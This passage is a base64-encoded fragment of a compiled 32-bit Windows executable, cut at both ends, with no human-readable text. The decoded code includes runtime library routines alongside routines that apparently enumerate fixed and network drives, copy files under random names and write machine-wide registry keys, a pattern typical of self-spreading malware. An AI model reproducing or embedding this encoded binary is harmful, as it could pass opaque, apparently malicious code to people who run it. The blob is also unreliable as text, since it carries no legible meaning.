gKX2/v//AIiF9P7//42F9P7//1D/FczQQACD+AOInfb+//91F/91CI2F9P7//2iuYEAAUOhv 3f//g8QM/0X4g334GnyxM8BbycIEAFZohQlBAP90JBDogRUAAIt0JBBW6GcWAACDxAwzyYXA fguAPDFAdAVBO8h89Ug7yHwEM8Bew41EMQFQ/3QkEOhcFQAAWVlqAVhew1WL7IHsFAIAAIA9 1DJJAABWD4SbAAAAgD3QMUkAAA+EjgAAAIN9EACLdQh0ElboA7b///91DFbo0sD//4PEDGpk aAABAABqGWjUMkkAjY3s/f//6NjJ//9qBGoKjUWcagNQ6L3U//+DxBCNRZyNjez9//9Q6DvO //+DxmSNjez9//9W6OrO//9o0DFJAI2N7P3//+gxzv//jY3s/f//6MTK//+FwHQQjY3s/f// 6FDK//8zwF7Jw/91DOh2FQAAWVCNjez9////dQzo9Mr//42N7P3//4vw6CbK//8zwIX2D5TA 689Vi+yB7BgDAABWi3UIjYXo/P//UFbotv7//1mFwFl1BzPA6boAAACDfRAAdBJW6B61//// dQxW6O2///+DxAxqZGgAAQAAjYXo/P//ahlQjY3s/f//6PHI//9qBGoKjUWcagNQ6NbT//+D xBCNRZyNjez9//9Q6FTN//+NRmSNjez9//9Q6APO//9WjY3s/f//6E7N//+Njez9///o4cn/ /4XAdBCNjez9///obcn//+lr/////3UM6JMUAABZUI2N7P3///91DOgRyv//jY3s/f//i/Do Q8n//zPAhfYPlMBeycNVi+yB7AAIAACApQD4//8AgKUA/P//AI2FAPj//1D/dQjoxv3//42F APz//1D/dQzot/3//42FAPz//1CNhQD4//9Q6ARlAACDxBj32BvAQMnDg+wQVVZXg0wkGP+9 ABAAAGoBVb7U8EAA/3QkKDP/iXwkIFbops///4PEEIXAD4XvAAAAV1boTtD//1k7x1mJRCQQ D46yAAAAUzPbhf+JXCQQfjNTVuj+z///WVlQV1bo9M///1lZUOhC////WYXAWXQIx0QkEAEA AABDO9981IN8JBAAdUxqAY1fATtcJBhYiUQkEH0uU1bou8///1lZUFdW6LHP//9ZWVDo//7/ /1mFwFl0BP9EJBBDO1wkFHzWi0QkEDtEJBh+CIlEJBiJfCQcRzt8JBQPjGz///+DfCQYAFt+ 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 